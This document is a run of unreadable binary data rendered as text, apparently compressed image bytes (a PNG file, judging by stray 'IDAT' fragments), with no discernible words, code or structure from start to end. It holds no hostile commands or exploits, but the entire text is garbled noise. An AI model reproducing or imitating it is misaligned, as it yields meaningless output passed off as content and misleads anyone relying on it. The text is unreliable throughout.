ElBf9?\."]yVKy!2\ŀ'få_|qn]McXB:9g9pn	|?0_*ϻD$)K?jsJF3u^
̀Y<\D.4[#?X9giBu%h "έO-׋5y&=<~ktC
7	Y<gMhh>W># }6bJ_ދ㿾gO%
WJ(	ߙ)G_WWݡ)&	 iaͥs	^SqN0+p^;)1rUʐw>gW=^UdȄ%<vΓ3Cqy_MDk<ū6F/x]RvD;K@s.>4쌼dDoG(gʩxԴ@!b1s{yƎ?yĒbhE
n|
ԀP@\ѿ05lG"?_cO}`@꿞\K9agpR^j3+GcJ'S]4gٿZ5DSلḁ9@߁勚^-P?)>iړDm*Zgc5WSkyAvsSM
:Yh"Z&$lCs1Nru_!.8QBV'"9p	[}&jI7[Nd9C_c  M?	-9
X$E٨Wj>,N)j98T[[]pQHDG?Ew15[hab6U w6Po&(';N\̟u
G[*Vk#cKrpN8GU{:XJrw1k"u&#-0FֿBqrz.	տ{s_c䚧hNeom~_-rGpoC.ߙQFx8N.Et1{{do,sbE…ܐaM0t%ʌÌr><?o~9XkHsh_c[%,	̢ry8INC~=6(>	eucS8lnmIh݋=sH{?,$f9_;?q.<KC_//E~xnw+BS?;;	-V|#W9}XRc>xwb$'fs|F2N?UT;_A91?^gC	t`WN|jvq
O(n~w=d|y
'UwA%E>KQ>vvB(esr%0MN6勂ƒ`1K^:wػҲ_?T#W>1Xj&t kT!5>ۿ"~.?}(Vn[|@@զ?og386	(ǾJꓪhV~`+'~tW
?`c%V=9սk"C$^{/}QٹDum=o/
w@Jf=K]/&<x
_3rU
YxBT<u
T
:V3יf̓4usev3?sʬChIXNl
%;U~_{<.Pw_i~lc:'͵+]RkTg8Nݽ9]ğ|*?X!wLyUͤt&[B|V#X=i\矱dsJ9Uz&&TfZ;}3!LDlL-+zE7?F]@6:
, q|Y9	pp{A%QCǞ89oGQLkt5WQ!_[q{T`.塅Y;ӂv6_,^8o
1ɘe1Pqik	k̦#Y=Wu[//"&GtQOdzh>/C~?Am1]'\s7V//=#MҌO=ok߽֬-OM6}߂Pg@c$ߗÿYx{;;ݟs=Xkz54)Lb}#%^4n>y]FjRwgYq|?	T_/q%&e-ukի?9<rfn>V{jL/sNJ֪_;	}Q-s=L,߀VJa41z쁴I 9}/XjSճA:o4abH/[W 汄9dn,s@1`d|n2a?t_?TD<9s]FA	ugAwջ<{|aQw T&*A+}c2؀kD@ar3O'ҁqYޟ)>#59?RfoGoOD},ҹAK$<	bWW<s%cr3oJ
-g=ļPֿ0=bk)rI_,!?u[-'*08QA>b@1wu'~⦐x ѤwSS
9d_,*/Eh¡MbU/y?E{@>eWU\])npeEZ٭}M2Ji[c(^$M\TׁgF?VUTаx%/n?ל;`kkgqMT>ުyA #ڨ8B\_[]+[Vrz\0W.ެqſu2\LH]'UJι.Kj-dUT3FZo[.gm&DCڇ5E:A*i /vrYyIׁBs_Zd|]U:S> H\߈g?X#IfxM 
9Ts;ؖ*yʿ4Pτ%=]!о7Y5[t`v&?u?n=Ypր?U+DFW)v/@3Z{XgG6^OsIB`z<CZVSDŸwOTsO!?{Ь5 0_2ܿ{ÿ֤s}U0CQZ_PhnL1yPD;321QWQZd8?ZKP"]sWUvhDWrh)ᬵ!*)Py\lԿ߳7/a!/QPV0}=2v6-!3E71oZ!
cc?/ NCeUFtnW{hhFeLim!6?l.߽%gMֈOj/"|I82qiD8]K'-;$j<WnLVzjo5T,ܷjI`3
<H|	yr6wA[}?
	pr|V-`^ؿ?O8j(m>bMg
[}`r)ο
B;\ʖM{L8lVjD;VS2$o; 3+H4R}+vUp}<dXը>kڗIkJa??r57AUtr^JlQd1-=>=s_N.?\0En-<>
o)q͟4Me:\moo^P2^=r=wrw.cq(Iପ-!v?;5.ԏ{;GQx?`7+yS_ptS$"Z/:ݩ/]?|_,?T$^ V![
3|_Uas;Ӆr&H'7N"/Q}?Y<FyɘWA;q<ⶼ*MW4z&ug"R/Lq@OR}pp]ߨ'۳g
<tJӚrlVYQrv"Uw_	`whP'^ǫT}6)'ao-qNAV4gBN|@gg?5_Lkߗ9wWsRsq܁_	kYUBKȎ3Z~OkH}~yߜ<s}FB4 }] r]ۜfhUhF9sz~&5kV:\VҺƔS>p$WI`rB3i3uU5Bp&cz9n>oG@?|\p2~7MטO	m>g0@.l?{Aa,tca7Ia3'+ksw,mء]LO{p]&=nPag}sK3OGr}ԜLcPTS3X'azS).sI1>.iB/m
?hш%h1w5S9>EqGֿ 7<ܑڄpGۻVnއ<zsϣRg׳ƺmo&2p̟^P|z?D5mJN!<͐G^:kɛ|^]%_}a\c扳,Kh%X78Znz&o)lX}OkkJ\S|W:9	a>gR}_]6~0SRD-IG
i`Ke)8^<;H)7o2W|c\P/vv2g,ףeLb]YsLz4uOZ8?36h͇kASeWG@M ^oTKᾠPDB+tf;;	=) A*&T$>\'GM]L\>Yt,bziwb{O\;XͿ|WNĩup3x
].M&)bCp=Y<[;jTKBGT5;sHXV߇sG
>7oT:BXAeB"t\wlث|_{i_G4k1Mdr75O}\S9z7X"`?eNJ|;G(G޼O-jjp ?_MyږwWןbg_\5[zv:*,(9Ym?+͘E
^àZ~|'c=w'/n\86Ks:7Kjޫgځ#۲ԧA
d0^I<p(=A_'\mrfį8>	7炖g>OQ?C;ݜ)2@z\߳Hq5?/39ψt_	Z4ο20U/9E~VqNIݹQѻfPXK8$	ԠrL[1*UI
7ߌ8L$k/i'`C<Z{0neoqKǢg8v,]WtP,&k)YDF7*hYo_3}hb/u￝GOujz"#a|N
j44Bܝn:jLP_fJuߡ$/3nϞx0Ŀq5lbhde#p﯅ѻ]ޯ|">W

H7/. O!35wFoP՟W;j|//~N-Bw~{]黳lΒҬAݽ
jL%sx?wVnwf%yJ%_OOLWlęȍ2]dtS9kխg^j^f9sOWg6w<w5uH9UvEuN]nnrm慇ѴnK0/yoWz45C+ɃXlNn@/Q!~>%n-C{ۙ=O4[a^E^\TQ*+C+~vp;>k9?Uӹzi		OxEdæ&YL\EdF:NuٳS_xl׋k;8rSLsq4sy+;q\Wtx$EΔ:䇗0ݻ_mߕ1Λt[}|O/+Nw0}Fy~Ru}TUlZmcQߙ:yYQQ7;xoڏoY'j3	>_폚L
2M|:(x<ߟb/ie"9\=y=WjŞ3.Ksr6_͒*wA{O.OKoC\p=\ΨD˃r#m(?^wM}7 -qeCCLWD?{${gć,}l}Z&d</Haf5fĎ<&$,:.trm5
<oӸf(nj^̚R}0_ŏ4Yt%u&{$4g?	jJcj%Oyp_Z?C5r(e}etPy?Yv k%
 &^X̩Z	LzSC?[{4&/e]J2ί|]AreV
s/{=FO{^̉p^<?$<A]@Q3RYzo*jߤ
us[o:3i*p>T30aۿI}ŋS=LpL&ZbM*ۿ9c`ӹ,RܽS_[?ˈWg"Ev|\͝~3cOJaaٛi,"̇#S?JP]^GQ7~Nr08ү1oz:z41%8N3V&dkF@WǨkx5{7`-W9Z# >#~Z"F=kyuovMxSt?OAf#_}`~[q_Ptuﮥ:d̠5^;Zoaʹi)~	\"Z3Du8|3i
oܻJ>0&vzwǸ~p&'C5Rc$zy
iV<hSCaQx'*ZD6c}-^Q
ĿqW[j5gO:W:G<?Mr](HQ5?<iͪT3DE:;,ސ1?Ԩ$Nڣ38ۃ
ҍoW^Lg?]X0S7.֜~_kv7=򡝀~0$sILu|¹@2/Ǥs;1Ճ|u7ox9jLH
I?+A׮_
\]ф ].!2y2pLCPO/f_t;'~ƀf.M?(s!R+r',ڙAoWϭ=S(/-Yya{Zܳvߺ^uXuk%]5+g?|_'+u/T]a?2Э}bױDs3L>zkGH)9
XɴZ7b/kq]ؽYK/WތW\<B`Wl^INE܎8Jy{vD85'SUkߩ?߿s塨kV-LgsK??^7GSmcyޞ9$wa0[cًoռ%tEyq
:fu5Un>>0f!._f샻̒G%*l'.u(`faftF9\2Kbspu9SEZV{,ĥ753\?@^}W0ak!
23o	e\HyG'qã_]]K33^_.wpgpE&rl%U;':_m?}u&cz"PŤh}ݒ_"VR:JlNo7ޛ^)t괢9J{N]o/Ts;^<\TMO/S5??cd~)/bk+15wyWL8d8=Z2}mS~Un[SDO$1}3|f;+Ooڇ	Q==dq}_Hq\='Ғ;݋W!/IMLvϿwO|q9Q90?s XR]>Qz,4A	Ta<V857t"ŊGW.Ši/=DeZPhU"Ĭrn[9rREHUWkZb/?RC9G솴g.Wnt~nO4\?bZgתې?:Fk3w<7aοWL8?1-VS%V*_@V׋𰄰Yݒyng yF!_䨀`5=$^>leOf/ NR~\f˘NcP^=L}L|X]
8	M/_ˤ<&}w[j<rjKgݐRҔ
-i?	R]_<RH>wL/sHWs<)hz׋7?\j3y/=jeĺ6Xt=gg{}Z:r8DJ䁝;'vn:qԿUk=M<ƳŲw2rV5.j-mmG}A%MqE)ΥiSy†;}CcMDX.p˝)/]^aJ0U_5C1y^%܅9ϬYg-!b.O,iԿ}WT27E'S3f&#Tjc}7EտLgz%T<Z?gƜ93sF_?_= 6AK_95<^g,
;乡GN~5_~/k$ ħW5:Ruɮwvѱ87&GT/M	
[Fjxphc~N1[y?ת`<}DJf5h&7g/5ֿP"^<qӖ
uW\ƥCJD0;7HB02qSN^; mOo3׷9O_WQĿ:4%@D._%7xru_cM,$nC2W9W/pܔzhȡ#>'&_胰$ɷ_y*ש\4Ke-tZ%z1@
{1.ɮ}k֘5	/qNώwZxt8?\;}/s=WTF*^y5Y:A%	H?31έ|x_O=$_.izvt
I^aAi_vhZ:FKgbU
]aNo/?lךPjq?~;g
r]|?`!rBŘkIW8%\id.}:7?i0+׬LEM[ً%:<{V@V-oȦ1_^%Ӏ$oQ}Ŀ5!6<ksne0Z.~Yx8b>;? +/ns;hcU\l9ll>AF_(\Rjt(Q^ܿ+?$fzpqUȰvfGRad1,XqYG*i#Wx`L0+mawo//=?{{ЌRDP7}5w`%L=Truez㼽ԃ5VrͩW-k@t[$e	]L}˃
5
x3̿$GBR?K/wUr;tn`^aް?d…;V)*~_s廊k>X,?/mS_@IDATƫ
Tt<8~zu&踲ίj2Zs9oOW/')}WթWc/s
g)ΪgP&0_B^╥ZqqbP1woc:ߚ}tu]}\亗8լU=_Pjky^p+Mv<_5/S$ѩk:Hsxfj]:?c
UCYDo	0 |65Fh>>
 6謘<JDMf1K%6ELm^$=*Z1yLs>;k걱ì/‡Y5Ӈɭ"ּk]703ꚏwV9M8-:ր8s+yS<>+mSĔ^%Is/]uuDalRK`鿢_u'OM<=4lJ5`=\}38ݮmvOS򫶽1Y2¿]C~n~~_MtCOeS%e@?z]wBiT[hSy=rٿH2)8r9<tI R
y+auz%O#7<'dY@
:#UwkA0^kZb#lĂp*2f52l
ק{&=Sq\Gǀfo^z߳L.Hg	ÄXl`QZ9B>U85kKU|2r՛-_7'V|W̓3:}~{Vgnf`
F_طsQchhһSm:]"_T+hՇ
z9K^[,7|p}_|wWo:`,<ڏjNhh*Wߩ)/M>޼?Sc߇u&I-$\!>m3
K؟w=rXƿ*/I6Św=4~3gިO<B|л]eK&/Fp>p?߉ޠYCP1ZYZ41\?w?24>3G_zy-!9A r U<I}}HS8%?8y}9v}$ƟD׽BUՊWVH%splVko[gQ,pcP:3I뿱QeUڿrMD:V7$?~r3zxN.^22Hkǿ!dSoTz$
x>sb,e?(ʹ$r9҅co*X2o 
?7w_ێlVp&`˒8~9bBu/,>_ģ*/p/lY}\H6'P™mSWmX?̛ݫd}Σ+Hކi
(}~bR:SC]*\[-x04]kނK]-y.gu3s1:{/2`0i-%&痾=I(*Wjs[OP(oeR|xH}	䗃7}J=?	mZ	=잿l-J_>?pyJl|9\y9y737lm/[\/G6ߏWB3ZX7u/Nk]|p#TtbT~?ܫWCy^K<
m_[͉և#5D/O̾qv4fgT?~E{C`*}SKE
Nof&_ľM]Hn=FVfZD0kSP/0	pzǔ1\;	=a{:]í}|\$j/{#'Vx.Z“>KmhotA}KέE
v&=rN?7._oOIc{:OB?Jً@*ȭH?/*v
-so6&u	iWy-WXOW^g>J٣ymQdpn
e_\(Mv dzR/Tĭ/a/Xt/$qV0T;7t#:;'H.r.?_ΆULr#ln9TL+!Ar@r]`UŠITW<\bTKC@ѺK1~s\#H?bg.P峿=/Ax?O5oyhS|Gxۦ\>G3G|2fz>gU~do/]5"$cg~Y|$e Son\\pra5@#!>%⡾ڋ2wBq>g@H-~5OMgK<	:{YvL3Hn`?T$n[d;se
zV]c/k3{6;YXGHmqG4I|_*?kE:/z6@aG?߆tֿփ@F9zR_jXZ5HyQ9/Gӿ!g[	yn?D釖ZunU;3BA+;A~QBU_DTfY~-]4cV¿Ks
D9:NXә<9>)reڢr\ۛ:&bBRaX?q<[ΎW~E^mmd?^_;ZV_hkU\/ijsg9R$
i'ֈ78og8\i[CS/iտNc䨧8}Lz0jXi0̫<A\[/p(San>Msg/2.0}9$\q*EE3EnDu\䩱Y*}OK^&˳}ʷ:u/lNMCaEE>CpOН$N~?fKMn"+h?i6w?1O8\>x=F^E,G?L.Ho`'W 3o\B@z롇ڍNGqZ0@
PтRp(*;>h۳ƫ@6}7;St&?O4.9&ݨ:{U/l9٘5_@K
6*(w.D}@$ry)׎GKΆ`}g
`mVU2xf/P*=,39C	</T /[OζxWvj[."?zy̦èurp<b5v!*#Sgz%
`&0Qm6UԿT+5WTOl*86hJ^IMO9ڧ-
V΍Fu.g7q$2j4JG%*8P*&n`G9,W\FhGOB,oR	_lC+߿O
j
Wښ3?})x:	"򉓻Ǫ+?4QFw BſB]]Y|ȽM5]Ҁ˿>S(' o9g4Qnz>?92yM<䁛0
|_zX5f#q#
{'=U\LXYezjǼ2^	*fzGbx^x#8@kI4Nun=ygz4;k~E>!VhU	P;td.IDۿɚ_
x5#Kg}k3$dAvWy$\L)[3%|h[13cssS>޿K3H~s5̙Ss`?n&2@3j
t_U̅ιz-jn9˂w>~_f
=Y~Hf*Ҕ	?~ԏ4*Pos_dcn-oJ.ȫMTt L;tTܫ}X蛸78_KL[ڇS!؋	lݻpЛπUo}пʡ`E R5' OG9̯Ӏg}pȬNȀA~*>?P_/*ckpU[I\X0{=I<*FQ2P1d%Ӕ+gZ'ӹ|el2Χ#Ջڍ$NQio);?͹*zcoʁ_Ot.!gmyJtŜrr::h(	Jt9tfCF>ﺓGWC~X??K}|3L)P'Nr}ɫҍR(Vb)bg^8
jv{+RH5{d~:0	9Ĩ@fͪw_t<k_(y7X+W;
kwa3ԘhٌЃ3^ˏ۰{i~֧ϕI^K&">k.i|?XeƵ~O
nM=l#S3(պ+y.(X-+?60Sk?9B!H^BjQ\}nEB<>z9!Թĝ!o#F]i/6T9]m}/%%6h/w
{f-'}	(]#o2sz5'6{*TWh:;0o+oy=d31BK0ɳmʆ=޿Yo
'D/Ό~y1pO`Ҟ=_j[~wq_:5rƐlu(27\
Y4Q]r(?kn3\??{aK_ؤp*y.h0T-9DoJ#O>17iW$22ZMl(Fm>
O
U͝
|$˾
;+bZ돣AJI=jtǺ.6pGެ~R:7ſ?w3'=O1g@gZH)a6aM]HqꙹAK*bW_D+Xy+`kTz8pC
>AuhO?ڝ@
5˿}_T{~ZeQ;wi]!?1y'dcebJrscVL=6AWbr@EUh8T#1o&#I@\#`pY
K*]vG(Wݠc|tC3g~^_X{y6zұ-E]C}
	Py=s(vz?Ö>eL4m(Jk׏{Ƿ
r_?§33-vМl	M:' OIī˿P`*S"6gzhzؘ{C>1sAkZ5#>&V%E8ap]]~>Ԍs6LsJ'9OĿ1
}7տjW4kW.딼/Cld	){"JՕ0<2VUfe;{gsCA_5|ncJ|.l`0MfV_v^L`\?+)S
P<52+?Z13hֿlM;?<4bY҇
Hqs ۘSK":BHkvȻDpSOVls\.,eoIF]}
jY-{xG|~TCl_plj+fL2x[^ SL\fbx^'R“9[jڝ|$궈l/W^>c2Ϗ}t=xzVcS'W5XgS?DzB}P
>XkQDxS2˿KH_VUտMԂҝdZVq\En^cS܄-
adi\/2am{J^M;jY~NDzvM0@!@˿T<p,JMY/hA+$9T5gkG\Ǭ8zw#??w>0U.-Q{rBۙff,߱	<:q;K Q^?/lD^]kuWjxғS7}1W/`NX&VkP*θʇ7ҿ[/?CP{.h'V4x\}:Dl"W jpV1a@n,	"Oӄ2v98a| K4_^JEk;p@sĹW`u<y>un?+1&UOxמX
ryg=)1/\ c3z9p~꿼jf	o/`'`Unf,*}>Nϙj{S<89HYٚWj(VpN,OSw$hLi~KJEfi 4Jiߍ ͍>g꒮j_lm>?GOg=ipK^:執Oq3-2Dzo oWD*R5g‰甚
&dW^4C
?S@t1M_;\Svi*ۿؘC	z	Tza]x{}C8WX'BjA{S|Ì|^@$,A6ԍS&S{UgMYxsjHI:7{~ߋ9bA+3^o}x|;1>eU<O(
-1#YS׿b*3[?*b>>$DE'"A/,?5Gb*5W\.9	s#g9vc<7;ιƓ)wn->.7(vd\TTzPpn'~o+KQ:Or<7fU~nXVpY߹Rm/66Sm̹$/}~x6~.eJ9lQ)One{Hq~q'1໛8憶O}6yg9Y}O
8q00E:&dl_[ڤoif0}om0UsO!s/R[aoCDIq)6^O>7χzK>:n-bOc]1/O_aYrN6B~}5xCV}ZYiNy@~bLq/ǩ4k%SAif*^-c,LnkN!go]G4g/GHI,2C8,b"ӫ]]ؕmjh~5?NoijgJu,{f>(/cTlM$~0?M,ۓMS  .Ŏq+J|	.Д	3ǒW[lպL`
jf$1PיHtF02R"דzfTMϚC<8Wwԁ篣MK}EZz,?y/X׿io4~ɪ;1lJ/CAsq+|$Mun?ݭ?!E3J:4:j-xн_X)g

fߪ?}OZM\myoVވA~_\sfjx>ZjR<^_g/$WJx.DPIVΏrj(lzYa+|eouf}^FC/[?pnj.@cxZz啺WT>y?Ce?+5Tw1w}g	P9k.LҼdOt޵=$hNG3?9_N3qAoXc@1xkCpfG+S@)3J~׶ƤE4EX	lbdOq9ge?a!D{Oc*g:>#`DaCbK?RM|w(|6/s/+ߩyM6(9:A"UXIk6l7$
Z%&7kB?>rcM҃)lםi#V[wuk΋bGOS2r8? EO}Vfjkw
}:S>n,zis/YE?~tMK%R;9#sG?>UqØ_ٸ/SȮhj[Itglf@J\w_,Cr!_ȧu%U>`us@1cbY<YYX1ջ<[aU?"RI,Hk.R5svY-Gr^]'r4K?d[D}NUEc1rGGyJx0 +a1}ҏf־~h>G7V?̠_a2ݿW{;E?؜;p	51rDoBs`"q&
QGڑr.5W[hۨ+39{15"m{Ol">9mǻ>D4_חߺzXK#3T2pBP//P服b<ogjJX_}[[+6պ~Ëm?PFSz<@4	VYyCw]f~":D#HW~]	;7՗3w`/wjrɝdaM[k`Hkf{#091lR5W9 SgaEW{IAm+˩3VIa+־G-~Q$e:
LQ>տ7i_-IXaO[S+2:I4Zh\$۪<둽?ʁP4!Kwvm\K0%ϱ:gF	[
'@,l+Y!I*]uU"kzs8n\~pq[62;@OC^H4 Y Ve]a'=#*;9t$.31K|ԫWK܅7ا/
BaUr1ih!rimNƘ탠{;_/OhA
FWMxD=tD0W5[k2wݗq\d36x{Ҿ=	&cqDQOp<'`G%*޺Abo|?o
ː3	t3BJg;I+ɚ]ڙ,g+#>nfBcPG;_pG\xdDŽڲh[
zv
Ӱ:ȇ4P--65% Vkw59zf-UO!}?uK&ܽ
);Qc"@]FG۩?wIDOM~'N3g	pTg;nܺG o7#
<C44.e'I?vPc|i'oõ

|ZAdp3*BD0CKK,	GG3OY&#,-I>,;qF/n6U|)sq
3Hm"ZAS݀ޣ-]יoPYe}2Мɿ9WhH"dSJe̱%/"גz?4!jcN=['q꯲BG^FȾ3@MmC~}~%Gn~뷄hkPm#	D@MhcšڜX39gIod+c&Ӫ{1nׄpߡIe(%~J^g5egh9Ik
vYHQwȲ/Pv@+>0h䵩ߡ1Dj:Ni6fEA_%fҦG{(A30hj
~|
nJc8EYHm!D0DUDl1ߓMտ6!NΫB:jRf\w)EZEUw*a~U
zjiy?˸B	-,0VsYp^uCT$gꯚU3;狐(w޵2ٻʎ~m˓9!@$k6Nqol;nm>?rcd,kY?`2[@&1~v.["`:&ՙ@イFuwOb~8;~*~8q2>7PU*Ϙ h7 +e;=6S4ks-tM6f0u<?(~H-=8a .nLlAe?mĤ}!t#lHHLBX"rE7:r~࢘zFmD:Gt8E,ULꂻ6CttO1Cor12ٌ}=sǤ)VE?yz97wp?S?kWS5iJO7xqJKYSȸ:~
ZT^go1p7+"IONVȋ5U3<uw y2gCP7|%}Is=_WPbz0I|Տ:I J? , \7*=~]?9~`rRٚ+§6e~6|WpVbm=$vb{11OR
gcu[S(:@R~c%Sӷv6kӮk=N`_k2`uo#o9)Jw+|5eFwϚ^1gغ5€
[sB=:jjx;krm5w	wqxo/←3 ˠtyAta4Wr5uj~V.G;Tu&p?[GkIthݤ)rFbF	|^Џ!,vcYi?Onl2GˈpYamY`uOw|rn!N>3h"@Dp1‰kxz{섿+?]g8菞_:pEV@]a1u<p|ߺPF^T^u/gߘ_8s){ɝ01{^hޜa=o->z~px~Ve6ŰӞs%)~Ʀ
=nR0i"G-֏.lO-As.gufIAܞZ\߮	E~Efj!>@cg!S`A%_sH__=/>?\Z/?/_dE_gNo3m~>9,ۣ_~R;2-XN"-.ڬUO}/?uzagLLDH.S>7ABP	()i7sV0ӾgԱ<4RKT'o<d9yYd8SN`z~܌P<Wұ-X>1|/gz~/C}'8bX+A\-PG?Uu&K-sm]+G~9(Bҳz]w~pz.t}66Fd{[gJKu}d#Wwc^O^Oik܉l7L]|ܻѶoon3dZWv䟵\H[SrHv4G}֣ƾR5UW诹PZh]wk]Ꙇ5OO9&dkC!@n}yqߘom2~C6[`憤]®ӬYs1??h'`
wqOq%B@lPܷ5#QO#cx'g
h~9e36*-Z *s$2tQr⧓wgya>u:rg߉ }܋u9~#:TZ;w!Y|0,ӭ}[̷鏪8g_MD^8Wj!n_&M;s^XpX5xO%#'+?(v?뾯|[c|U`<\s)}vo|\[EyNc+M]d<is~?YZ=N_6֯\j:^O	w
[QG~X"{ߣZgsSѧ9"B.Ye^joLp8%l32?X|جg>ldk+_c/ھˠ{99@B'4H2yHOBzqΨpf=z?6k_qk^ĭ8ntMAt_!A`Y~Z\#õdbyeIu`w~XB
'k]S۞Kש#AbWjdy*#
'CS!jݯBMºY|24ye\=`U{9_y=y~M
fڜ7o6Є}R]UИvF_;Yַ??"[$e,T#xb=47M.}֡񧯶[?}A0kKwҷK5h~??t$wnzr\qvv
mN8_O>=	yOy&zߧ?ϴ0O9
_ȷoSk7[߅_?CD;~O/v}oƕ;@8;aۯ@xy?_=*X,kqg}*b
%IU)ZY|{Uk"&}X-&>ƲF@"}I2;d?r<G~;JGKjn>Sr
~K_/ix_3KxFq*{۸OODzy6o˸q*~2*V.y<Oi_7J@"QLJ"׳f]C~RI}.%ӊh4_.9f~xm|>7+qmәka~9IUh9eY)	WL_Y@'u/Yuf~×h4O1y߸G+؈bǔ[ss%ee9GVzP8+&7uɅ/<ZfSq~>>\ӯ|gI~,×/@_6,m]ߍȣ̟?+Tn9d/g;x3h~5}SE/[X
9✀!:#$g-*G@$Üh0f&Bΰ9~C.*=}a\Er60JE헚!F_#QƔp~ǜWZ)f5.6K']\mIb?km+9tLsk*MoPz\r4Zn
*kyŎ\lQ	2˼+0ۨp>E-X)1zΊ8N,lӿ*~_ހz^|=gϝ#j/2kVtZaXӭukgV:#t."3srV-0kHr8/1O3qbO)yax(B+L0=506V%fL9Eخ3	ᅢR9ף(_wM]>_6پ38X	A}e ḷ9OBjmwrgc]Gz#vF(YR7qט}:N{FC#cWWb$^Nvj92Y~&gO/TJ^SygIUBI|J2wf#d{)s~)~L'dkUb)u394὜CSu6J?Ut+tZ'׮:L(;]ZSRBW=uIHI#%#Ê[;aIzb`h|DGbͩSkӗڴlC@mOqV&뷺fmcW\OCht|i_6~On_ro'_1?_50ehYDw	psU#u}@IDATs6(u+`K3ٸ{7ou`=ibo"f=
ۘ[gLy1ىb\ɑv
#rbZ9%@#!-g!zUƤǻF>?Ru9(NAcm:O0 zm&NNj][+~Di`3zt. cxK:AǹW{u{O댡]@˿
V͚~m'B0FchϞ"['d2Z1,Ӏǰ-~vH
7{y]֎9=)
a,[ֹ̌yҸyMIeӀS·C[qpR
~:
1qRdyc!
Y"ܻ/MkA	"G|ɴDЂoe<97Ԋs'Kl^k)2Ǭ#_J3k1N$3N1;\]uj
C^!h=Wn`h0"hc^Ͼzht84fFa>澾g,Uo~jPs_Ĵ4籃Ms7 aLPx}	*۩E%[W';[󕘴fp~[oi_zKa)զbEV]2~}?%_ٻQڵq_pQg7pPkqlFC]v_?"d#rԢn]Α	HxTd7JVĨ=`A`^9shrhK´`I~9[E7}kq[`Gg~j"L8kS)onU~s۷z|Sq&͚47Y$rj=naeZs܇7	:2skuXхgdGߓiںPp~r}pٿ9?,I5a85X.~k<uϯ9mzebnVXbנZ39`rf7Fs/'7ohiuȘ&K=V^HxT39CrI7o&WS!6 ?x\åG6-~,	oMmG~D?FV	C3Dun&)B%Lӿh%YAԧ9^rOWG?^CH}N68˰vIx_뱯ךbRa;Wd&Oym~s*t>_=X_I7gk̈8=;K`N`v3&^ԯrۣ¼
DT6Zfri/+qEa˞)쁙eg^_b<?^Il>&}~HZ\L,!k-G{CB9gP-_!OҜX/a8z5}r.&ΟUk'9[rXM_%_jyp
Jz=޻֏O4u<['9zP2Se8m?h	CKbF_&[3;R霢es;جpe/m֟O]SUo{ ?yPMe@iYvߠ(SH	Dlܿ)-$>Q?gy-Fq
9Ƿ\lcFع&E?ŢE_kN|wCDbt7g^'wvk^ԿvIDIDLͬSr,M2fh<3'jqW)pO[dYY&;;ԏKN[K-j@wr/ڢ
0zlo쎱bUJZ{^|üBhcb7puZA	\.2!լֆ~YGZ@,hWU5Ӏbkl聛Oq,'@zuH+A #%3D=As٩d9qD"w2_}h+K0~/?_ǿ?O_e?}?'EUkxчu~vpG^hc7ҳY9ueݤgK4!&XK-J~&%^V.
)7'PHhc2Ҙ+(
n3Ѹ6lH""B@~dKK<i4",rXIM[oYwҦ?Q/
XX$}jyKD6y1]hXvN"~4Sܿ~]S8]*}؏o2W]o3+-p;{D~n,p65<ΉH_2n66.L3CTU}/,=zU~9Vs7rw¶0b墥O\ʊY[gzߛ.W_FyA<=[hEQAg^y:Uctu ružb޿aR7UDpR3Ế
Ǻi4pqnJ{^Zg=$)ٕt&d5w},ʋ#Dҳp]F;—Ͳ5F5I*{8\_;VaL-ck~?<XD/9=lY7moߧd.մw{hg_錵FzkU=p|>߬K Qy{o<O拦G)[}Ԕ[qտcF4gϳyty(CϫugLODFuu[77or-|uSsMqJ[Oo7K{-2O{Tw`7/7',s8fVΕϪ}o$~h^_D-3X2en8V㜻'j,krOqnrĹuOV՜_S_ew2Z~ Գ謹%A}جO>
4+8q`1ֿ|W2c	)FVO'-HgژzHAc^b[K4jCp
Nbe[ϓ{p]C3<&*
0,VC}N=_cU-_… e_K 5Dm
,V>?p3.{î_POw`}D8V
XڀHlnײ@$<NR7;һњ#%YMd3aYZD)#t<ozY=pu١憮i<s
-pY0l=~q+F*OK"3MpeS}&II1t^c}Ka~SN-Ԡ!d*{_=t9~S䞲RB<e(SU>u^ZP=|Sxei 4
Lt{bYYݝM4Fv}d9a5{k~RQwtݿr,h80`LlLcOp7b;8G/X0k	8u*pfac)=[
yC^k"2Mm%]p¹G9oeKB{*Ha&|eɗX֣	G|w͌~>)m2l{`N؏~$-S;鿙??}?A֫'8̭DxڂxCNMs
9v_IǼ[\_XDLt,lhU Uid夹3Ɵ*)yG].ؤ3̛!Jyh?*%uUgΥy~O[UC³o-
Cp{^qKk(hw7*s9K7'?z]|όuqysHQkdq]G۶v~Շ??O?ˏ??/_W}?~LjZ㱷E_ңv_YO>|v7?힊G;yO'nabp8"9&)gPIje\$
6'^ۥ?(2D@.$02cf+ge/>5\/u@Dʁ>O"iN2ZWҒ{NHw~ײ)A`.YNSSeX{Gbߩ?:+]ROsPcOfj!r{%nj,
s L圼LWvrSьw.&_Xl?{oH=h&MK~M0{XU}~J/qI~@H絾:>VL?ȵ{&痩GݚXiyT7CY<{ኺ/{/ߺ
:ym "0qVry<}/69sX,s|=~Bh7%Z홴ODŔ%XX`n嶠iJLeY?n^OjFkiIߡik\A'"=as%ݓti{AT穟k`ܣ0a~03֜Ja&;1躳G26[Wz2ZeN0suG_#$s|L#ӔBW֍5Gh:cjVGA냠s+QϏVޥ98>:{k}X#D5I77Iά`яYoQ/uCzBUwD5z5|i7_9Gs>س]zX?ִ_'dݿo٭οsoyߠ%
F!Z.#}Y{O;ײ7wܲ^s$ܻgs?1&Ԭro94륟hL7[Fz֌	_Zcű>*A]A -a_))Ў,⣅=r~2W}|ߕ,\4goCY|\<Gfk~
zI$҇ΌO@?Bn^h:<۾Kҽ:{A8|r80gEbM?,V7~E
QZe12'v#(kwO?
bGDC.YwLUL>Xh:o0G%ObzqGˌ~Y$-s\Y&\ziGX8nd2Nr,F./
$/gjgw?Ol[mVhUo\U<7Nic˚xG;5S#Lk{f0c2[λ~`:e6+!iiQ gm$+!#6{NǦwP%e;y?,cxM~aq&)$c>`'|yiҟB~__qŕ8Q?7L\ǟeZrcP,wD$7t"C z<OܵVyӿ`~$

	֥cjy'^=4$?悫 l?\O7bWN!x_~߿wpȅPu}^ӟZ+Y]"њ38o0o'K$e_rޅMBZƍ\`3?hgOЅ-/+<^3ge*	h#C{'<$=0^)Eg}];zȽ!ڟ]/
d!1{`g;Xot"pIƨK".:\CC=#
MKEJk0c_q߀VL(19]gd׆E[ڭWE-
_~zABx&_VZO>hn~ذoobstV^[G9~Ox罆&6>{ļ<P=y0U9iR>0>A?gT?yN`slr햪mcdNVi׻u&bv}9J#ak7m
